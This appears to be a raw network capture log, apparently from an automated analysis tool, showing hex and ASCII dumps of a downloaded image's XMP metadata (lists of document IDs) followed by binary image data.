2022-04-08 08:02:43 UTC3760INData Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 36 43 32 45 35 41 39 45 39 45 44 46 31 31 42 37 35 38 45 30 39 35 32 32 44 30 44 30 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 38 35 31 31 44 33 30 43 32 30 36 38 31 31 41 46 46 44 41 45 46 42 31 32 31 46 45 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 38 35 39 34 41 36 30 42 32 30 36 38 31 31 38 30 38 33 45 32 34 31 32 30 39 39 43 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 31 46 44 34 30 41 32 32 31 36 38 31 31 39 37 34 45 46 31 32 34 46 34 45 38 34 32 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 35 39 31 36 41 35 42 32
Data Ascii: :li>xmp.did:476C2E5A9E9EDF11B758E09522D0D034</rdf:li> <rdf:li>xmp.did:478511D30C206811AFFDAEFB121FE394</rdf:li> <rdf:li>xmp.did:478594A60B2068118083E2412099CEDA</rdf:li> <rdf:li>xmp.did:47B1FD40A2216811974EF124F4E8427B</rdf:li> <rdf:li>xmp.did:47B5916A5B2
2022-04-08 08:02:43 UTC3776INData Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 34 30 45 36 43 43 34 35 32 30 36 38 31 31 38 46 36 32 41 45 43 44 39 35 33 31 39 32 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 35 36 46 44 42 38 32 34 39 32 45 32 31 31 42 33 45 45 44 42 30 43 42 38 36 38 38 44 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 36 45 46 46 46 36 34 32 32 30 36 38 31 31 42 36 39 39 45 38 38 38 35 33 45 42 42 42 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 37 42 46 31 32 38 30 44 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 38 30 31 39 34 39 30 39 32
Data Ascii: :li>xmp.did:5640E6CC452068118F62AECD95319209</rdf:li> <rdf:li>xmp.did:5656FDB82492E211B3EEDB0CB8688D94</rdf:li> <rdf:li>xmp.did:566EFFF642206811B699E88853EBBBC7</rdf:li> <rdf:li>xmp.did:567BF1280D2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:56801949092
2022-04-08 08:02:43 UTC3784INData Raw: 32 2d 39 30 34 37 2d 38 34 63 31 2d 37 39 34 30 37 64 32 37 63 39 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 63 37 31 37 63 36 2d 30 64 31 66 2d 34 66 30 31 2d 62 35 62 65 2d 66 30 34 31 66 30 64 64 65 38 62 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 63 65 36 32 38 35 2d 66 38 63 64 2d 63 32 34 66 2d 38 30 61 39 2d 62 36 65 38 31 62 61 38 62 63 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 64 66 38 38 30 34 2d 66 63 34 63 2d 34 66 34 36 2d 38 38 65 32 2d 38 62 32 34 31 36 63 62 39 62 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 65 36 62 37 32 66 2d 37 37 63 63 2d 35 62 34 39 2d
Data Ascii: 2-9047-84c1-79407d27c922</rdf:li> <rdf:li>xmp.did:5cc717c6-0d1f-4f01-b5be-f041f0dde8b0</rdf:li> <rdf:li>xmp.did:5cce6285-f8cd-c24f-80a9-b6e81ba8bc25</rdf:li> <rdf:li>xmp.did:5cdf8804-fc4c-4f46-88e2-8b2416cb9b8e</rdf:li> <rdf:li>xmp.did:5ce6b72f-77cc-5b49-
2022-04-08 08:02:43 UTC3792INData Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 31 44 42 34 37 36 39 34 32 35 36 38 31 31 38 43 31 34 41 43 31 44 45 42 38 46 45 32 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 32 43 38 33 35 45 45 37 32 31 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 34 63 36 33 32 33 2d 61 64 36 36 2d 34 36 37 30 2d 61 39 34 39 2d 65 61 33 31 31 34 32 35 32 63 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 35 38 45 33 43 41 32 35 32 30 36 38 31 31 39 32 42 30 42 37 38 35 43 34 31 34 44 38 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36
Data Ascii: > <rdf:li>xmp.did:661DB476942568118C14AC1DEB8FE2BE</rdf:li> <rdf:li>xmp.did:662C835EE72168118C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:664c6323-ad66-4670-a949-ea3114252c52</rdf:li> <rdf:li>xmp.did:6658E3CA2520681192B0B785C414D861</rdf:li> <rdf:li>xmp.did:6
2022-04-08 08:02:43 UTC3808INData Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 43 39 46 38 36 33 35 38 37 39 45 34 31 31 42 41 37 42 46 44 34 37 36 35 30 35 38 34 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 43 41 37 36 33 34 31 45 30 43 45 34 31 31 39 37 46 32 38 33 44 45 41 39 46 42 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 46 31 35 36 45 41 31 42 32 33 36 38 31 31 41 35 35 46 43 37 34 43 33 35 43 39 37 31 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 31 34 66 33 37 2d 33 65 62 36 2d 34 39 37 61 2d 38 61 34 32 2d 37 37 33 32 64 35 39 36 61 64 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61
Data Ascii: <rdf:li>xmp.did:74C9F8635879E411BA7BFD476505848B</rdf:li> <rdf:li>xmp.did:74CA76341E0CE41197F283DEA9FBD9D1</rdf:li> <rdf:li>xmp.did:74F156EA1B236811A55FC74C35C971C2</rdf:li> <rdf:li>xmp.did:74a14f37-3eb6-497a-8a42-7732d596adc3</rdf:li> <rdf:li>xmp.did:74a
2022-04-08 08:02:43 UTC3824INData Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 62 32 65 33 66 39 2d 32 65 65 31 2d 34 34 34 34 2d 62 62 64 66 2d 34 37 30 32 36 36 66 39 31 66 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 66 35 38 35 62 32 2d 64 66 32 35 2d 63 38 34 30 2d 62 61 31 66 2d 61 66 38 35 65 35 32 35 30 66 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 66 63 61 65 39 35 2d 37 36 30 35 2d 61 61 34 63 2d 61 65 35 63 2d 65 61 65 39 62 66 66 30 63 33 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 35 30 30 38 2d 37 39 30 37 2d 34 35 66 38 2d 39 32 63 38 2d 35 65 36 38 37 36 38 31 36 37 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c
Data Ascii: <rdf:li>xmp.did:84b2e3f9-2ee1-4444-bbdf-470266f91f16</rdf:li> <rdf:li>xmp.did:84f585b2-df25-c840-ba1f-af85e5250f31</rdf:li> <rdf:li>xmp.did:84fcae95-7605-aa4c-ae5c-eae9bff0c39d</rdf:li> <rdf:li>xmp.did:85025008-7907-45f8-92c8-5e6876816709</rdf:li> <rdf:l
2022-04-08 08:02:43 UTC3832INData Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 30 46 34 45 45 36 32 31 43 43 31 31 36 38 38 38 35 35 38 43 30 36 37 34 34 30 32 30 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 30 46 34 45 45 37 32 31 43 43 31 31 36 38 38 38 35 35 38 43 30 36 37 34 34 30 32 30 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 31 33 31 42 43 44 32 30 33 33 31 31 45 35 39 39 46 44 38 33 30 32 39 33 42 38 46 45 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 31 39 35 37 32 36 37 42 32 32 36 38 31 31 39 31 30 39 44 35 42 34 41 30 43 34 39 35 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 43 32 44 34 46 37 31
Data Ascii: rdf:li>xmp.did:8C0F4EE621CC116888558C0674402075</rdf:li> <rdf:li>xmp.did:8C0F4EE721CC116888558C0674402075</rdf:li> <rdf:li>xmp.did:8C131BCD203311E599FD830293B8FEAF</rdf:li> <rdf:li>xmp.did:8C1957267B2268119109D5B4A0C495E5</rdf:li> <rdf:li>xmp.did:8C2D4F71
2022-04-08 08:02:43 UTC3848INData Raw: 37 46 44 38 34 45 33 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 34 35 35 41 38 37 31 34 32 30 36 38 31 31 39 37 41 35 38 34 46 38 33 39 32 37 42 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 35 61 66 63 66 62 2d 64 36 63 33 2d 33 33 34 31 2d 62 66 32 34 2d 37 61 64 30 35 62 35 37 39 30 61 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 31 34 45 30 35 44 36 31 45 35 31 31 38 37 45 36 42 37 32 31 43 44 33 35 32 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 35 43 32 33 38 38 32 46 45 34 31 31 38 37 44 41 46 38 37 30 45 39 30 42 45 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20
Data Ascii: 7FD84E3C6</rdf:li> <rdf:li>xmp.did:99455A871420681197A584F83927B384</rdf:li> <rdf:li>xmp.did:995afcfb-d6c3-3341-bf24-7ad05b5790ac</rdf:li> <rdf:li>xmp.did:997314E05D61E51187E6B721CD352C7A</rdf:li> <rdf:li>xmp.did:99735C23882FE41187DAF870E90BEFD2</rdf:li>
2022-04-08 08:02:43 UTC3864INData Raw: 43 39 41 46 45 45 32 39 44 30 42 45 33 31 31 38 41 33 32 46 45 41 44 35 37 32 32 39 46 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 41 45 45 42 38 42 41 32 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 33 38 30 30 32 41 34 35 44 45 33 31 31 38 31 45 36 45 42 46 38 33 38 32 41 38 41 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 36 39 31 36 36 33 45 32 30 36 38 31 31 42 41 41 43 39 46 38 38 39 42 35 38 43 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 34 46 37 45 34 43 43 32 31 36 38 31 31 38 32 32 41 46 41 39 46
Data Ascii: C9AFEE29D0BE3118A32FEAD57229F64</rdf:li> <rdf:li>xmp.did:ACAEEB8BA2206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:ACB38002A45DE31181E6EBF8382A8AFE</rdf:li> <rdf:li>xmp.did:ACB691663E206811BAAC9F889B58CD3E</rdf:li> <rdf:li>xmp.did:AD04F7E4CC216811822AFA9F
2022-04-08 08:02:43 UTC3872INData Raw: 37 30 38 32 30 36 38 31 31 38 30 38 33 39 43 37 45 38 39 37 37 35 41 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 41 38 32 46 31 35 43 31 34 32 30 36 38 31 31 38 44 42 42 42 38 38 39 35 37 39 31 35 34 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 41 38 38 38 39 30 41 41 42 38 45 45 30 31 31 41 44 33 46 46 37 36 44 30 42 41 43 39 44 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 41 38 39 43 41 42 43 32 44 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 41 42 39 42 41 44 45 30 45 32 33 36 38 31 31 42 44 33 35 39 32 31 36 34 43 37 30 37 30
Data Ascii: 70820681180839C7E89775AE4</rdf:li> <rdf:li>xmp.did:BA82F15C142068118DBBB8895791540D</rdf:li> <rdf:li>xmp.did:BA88890AAB8EE011AD3FF76D0BAC9DC8</rdf:li> <rdf:li>xmp.did:BA89CABC2D206811994CE83BBBC86D74</rdf:li> <rdf:li>xmp.did:BAB9BADE0E236811BD3592164C7070
2022-04-08 08:02:43 UTC3888INData Raw: 31 31 41 36 31 33 46 42 31 30 30 36 38 45 39 38 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 46 46 30 33 34 42 30 45 32 30 36 38 31 31 39 32 42 30 42 32 46 41 38 42 37 43 44 46 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 31 36 41 32 38 30 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 33 41 41 45 35 46 43 46 37 30 45 37 31 31 42 36 35 31 45 35 46 46 36 34 45 45 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66
Data Ascii: 11A613FB10068E98D9</rdf:li> <rdf:li>xmp.did:D0FF034B0E20681192B0B2FA8B7CDF71</rdf:li> <rdf:li>xmp.did:D116A280982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:D13AAE5FCF70E711B651E5FF64EE3282</rdf:li> <rdf:li>xmp.did:D15434A00920681180838C305DCA9E89</rdf
2022-04-08 08:02:43 UTC3904INData Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 33 31 42 33 34 37 30 41 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 34 36 30 32 33 37 46 46 45 34 45 30 31 31 42 37 34 33 39 42 36 38 41 30 31 31 33 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 34 41 43 38 44 37 30 44 45 31 44 45 31 31 39 33 43 37 38 41 33 37 37 46 33 30 38 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 35 44 32 42 41 46 39 37 32 30 36 38 31 31 38 46 36 32 38 34 35 32 38 35 44 33 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 36 46 39 46
Data Ascii: <rdf:li>xmp.did:E631B3470A20681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:E6460237FFE4E011B7439B68A01138EA</rdf:li> <rdf:li>xmp.did:E64AC8D70DE1DE1193C78A377F30813B</rdf:li> <rdf:li>xmp.did:E65D2BAF972068118F62845285D33C56</rdf:li> <rdf:li>xmp.did:E666F9F
2022-04-08 08:02:43 UTC3911INData Raw: 69 3e 78 6d 70 2e 64 69 64 3a 46 33 33 45 39 30 34 34 44 39 42 39 44 46 31 31 41 35 44 41 45 33 34 33 31 44 35 42 35 43 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 33 34 36 46 39 37 43 31 34 32 30 36 38 31 31 39 31 30 39 42 36 44 42 34 38 45 39 31 38 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 33 35 37 34 43 34 38 46 42 34 30 45 30 31 31 42 44 43 44 41 36 44 37 45 33 44 44 46 42 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 33 36 35 32 46 42 43 44 38 32 34 36 38 31 31 39 35 46 45 46 31 37 37 45 35 34 44 38 38 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 33 38 33 38 31 39 35 33 44 32 30 45
Data Ascii: i>xmp.did:F33E9044D9B9DF11A5DAE3431D5B5C13</rdf:li> <rdf:li>xmp.did:F346F97C142068119109B6DB48E91803</rdf:li> <rdf:li>xmp.did:F3574C48FB40E011BDCDA6D7E3DDFB97</rdf:li> <rdf:li>xmp.did:F3652FBCD824681195FEF177E54D889B</rdf:li> <rdf:li>xmp.did:F38381953D20E
2022-04-08 08:02:43 UTC3919INData Raw: 31 31 41 37 42 41 41 30 33 36 33 36 38 41 45 43 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 37 42 41 44 32 31 44 44 42 41 37 33 37 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 38 36 41 45 41 35 34 46 42 38 38 30 44 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 33 41 45 45 33 45 32 32 39 46 43 38 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 36 31 43 30 43 34 33 33 35 44 34 37 45 42 3c 2f 72 64 66
Data Ascii: 11A7BAA036368AEC0C</rdf:li> <rdf:li>xmp.did:F77F117407206811A7BAD21DDBA7378B</rdf:li> <rdf:li>xmp.did:F77F117407206811A86AEA54FB880DE8</rdf:li> <rdf:li>xmp.did:F77F117407206811A93AEE3E229FC8F5</rdf:li> <rdf:li>xmp.did:F77F117407206811A961C0C4335D47EB</rdf
2022-04-08 08:02:43 UTC3935INData Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 43 43 32 39 42 46 33 44 44 36 35 33 34 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 38 35 31 39 36 45 32 41 32 30 36 38 31 31 38 41 43 34 39 41 39 45 34 43 44 35 45 39 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 39 39 33 31 32 41 43 30 32 30 36 38 31 31 39 39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 43 46 38 46 39 37 30 41 32 30 36 38 31 31 38 30 38 33 43 44 46 44 46 39 42 33 35 31 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 46 46 35 37 33 44
Data Ascii: <rdf:li>xmp.did:FF7F117407206811BCC29BF3DD6534EB</rdf:li> <rdf:li>xmp.did:FF85196E2A2068118AC49A9E4CD5E9C2</rdf:li> <rdf:li>xmp.did:FF99312AC0206811994CE83BBBC86D74</rdf:li> <rdf:li>xmp.did:FFCF8F970A2068118083CDFDF9B3510D</rdf:li> <rdf:li>xmp.did:FFF573D
2022-04-08 08:02:43 UTC3951INData Raw: 64 61 39 30 38 2d 36 63 34 31 2d 34 36 32 39 2d 39 38 38 39 2d 32 65 35 30 36 62 30 61 32 34 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 30 63 36 38 38 65 33 2d 62 30 66 63 2d 65 30 34 64 2d 62 38 35 34 2d 33 30 66 31 66 35 38 30 34 37 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 30 64 61 33 33 64 38 2d 36 37 32 36 2d 62 35 34 32 2d 39 37 39 34 2d 35 37 65 36 66 34 62 33 31 65 62 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 30 66 66 66 33 66 63 2d 62 61 61 36 2d 31 33 34 31 2d 62 39 35 66 2d 62 61 66 34 61 32 34 30 31 30 34 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 31 35 34 30 35 37 63 2d 33
Data Ascii: da908-6c41-4629-9889-2e506b0a2427</rdf:li> <rdf:li>xmp.did:d0c688e3-b0fc-e04d-b854-30f1f58047a5</rdf:li> <rdf:li>xmp.did:d0da33d8-6726-b542-9794-57e6f4b31ebd</rdf:li> <rdf:li>xmp.did:d0fff3fc-baa6-1341-b95f-baf4a240104f</rdf:li> <rdf:li>xmp.did:d154057c-3
2022-04-08 08:02:43 UTC3959INData Raw: 61 37 61 64 2d 38 36 36 37 39 62 36 37 37 37 64 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 38 61 33 36 65 31 63 2d 64 66 32 32 2d 34 62 39 66 2d 62 63 66 35 2d 64 37 31 37 62 38 62 35 39 63 64 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 38 62 36 32 65 64 37 2d 65 38 66 65 2d 30 38 34 63 2d 62 36 65 33 2d 66 62 36 37 63 36 33 31 62 37 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 38 64 30 61 37 64 37 2d 31 37 38 65 2d 34 30 61 39 2d 61 38 63 35 2d 36 34 30 66 31 39 66 35 30 36 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 39 31 62 35 64 33 30 2d 39 36 37 37 2d 34 65 34 62 2d 39 37 38 66 2d 39 62
Data Ascii: a7ad-86679b6777db</rdf:li> <rdf:li>xmp.did:e8a36e1c-df22-4b9f-bcf5-d717b8b59cd7</rdf:li> <rdf:li>xmp.did:e8b62ed7-e8fe-084c-b6e3-fb67c631b74e</rdf:li> <rdf:li>xmp.did:e8d0a7d7-178e-40a9-a8c5-640f19f506ed</rdf:li> <rdf:li>xmp.did:e91b5d30-9677-4e4b-978f-9b
2022-04-08 08:02:43 UTC3975INData Raw: af 5c ae 72 a1 b2 53 8b 2d 26 19 27 2b 56 66 4a 90 7d c7 d9 1f d9 9a ec 99 49 08 b4 6d dd 88 d4 3d 62 80 f1 b5 51 c9 8e d5 66 fd 93 5f da cc 31 96 90 9a 36 85 63 a4 92 c5 58 b8 00 ee 01 15 03 e2 e3 94 9c 92 99 a6 4c 7a f6 56 79 8c f1 82 80 d4 aa 8f e3 ef 9b 0c 70 ef 40 09 64 1a a4 b0 48 15 87 c2 09 aa d3 c7 ed 6f 99 47 18 21 35 68 8b dd 46 5b b2 f1 46 b5 8d d4 28 a9 a5 29 91 84 38 54 04 15 b5 8b 7d 8d 83 e6 54 a4 95 79 b4 96 51 40 f5 71 d0 76 c0 26 a8 17 0b 09 2b 4f 8b a1 a7 be 5a a8 b8 65 8b d2 fb 20 52 b4 07 c7 2b a5 50 bb b9 37 00 48 8b 42 3f 8f 86 4c 05 43 c3 20 46 02 b4 23 c7 2c 4a 62 f2 73 01 01 04 56 a7 6d fe fc 0a 86 22 af c8 ee d5 fb 86 15 57 b8 89 99 36 20 53 76 f1 c8 da a9 d9 d9 b9 e5 2f 44 50 3e 2f 1c 8c a4 94 4c ce 19 81 5f b0 07 7e ff 00 2c
Data Ascii: \rS-&'+VfJ}Im=bQf_16cXLzVyp@dHoG!5hF[F()8T}TyQ@qv&+OZe R+P7HB?LC F#,JbsVm"W6 Sv/DP>/L_~,
2022-04-08 08:02:43 UTC3991INData Raw: 8b 08 64 84 6b 13 ea 04 9c 90 2b b8 02 a7 db 0a 50 4e 7d 37 24 2d 56 b4 df 12 84 44 36 ce 50 4b 18 ea 7a 78 e4 54 a7 36 08 63 8e 42 d5 0c cb 4a 1c 0c 50 d1 ea 31 98 3e ad 3c 60 f8 10 37 af cf c3 0b 25 d6 57 e2 d0 73 54 56 60 41 50 d5 a0 f1 6c 0c 69 05 73 3c b7 b2 2a c8 fd 5a 80 92 7b 9f f8 88 c9 25 af a9 7d 5e f4 da 02 25 72 68 ac 82 a1 ab 84 31 2a 50 19 20 bb 53 08 65 92 36 ea 46 e0 83 e1 8b 20 c8 ed a2 9a 47 fa b5 c7 a9 34 93 af 23 1b 83 c0 93 d0 fc 3e f8 a7 92 ad a7 97 da 17 f4 ae 9d db d4 60 02 16 a1 1c 77 6e 54 aa b7 f9 3f b5 8b 12 51 9a a6 97 77 01 17 d0 c6 97 10 44 dc 98 81 5f b5 b6 eb fb 5c 46 04 25 17 fa 9f d6 5d e2 bc 24 44 e1 a4 8c a8 00 17 fd 8e 9f b3 c7 f6 70 a8 46 47 63 6f a9 d9 47 15 ab 33 5d 80 4b bb b5 15 a9 fe eb 45 6f e4 19 16 76 84 d5
Data Ascii: dk+PN}7$-VD6PKzxT6cBJP1><`7%WsTV`APlis<*Z{%}^%rh1*P Se6F G4#>`wnT?QwD_\F%]$DpFGcoG3]KEov
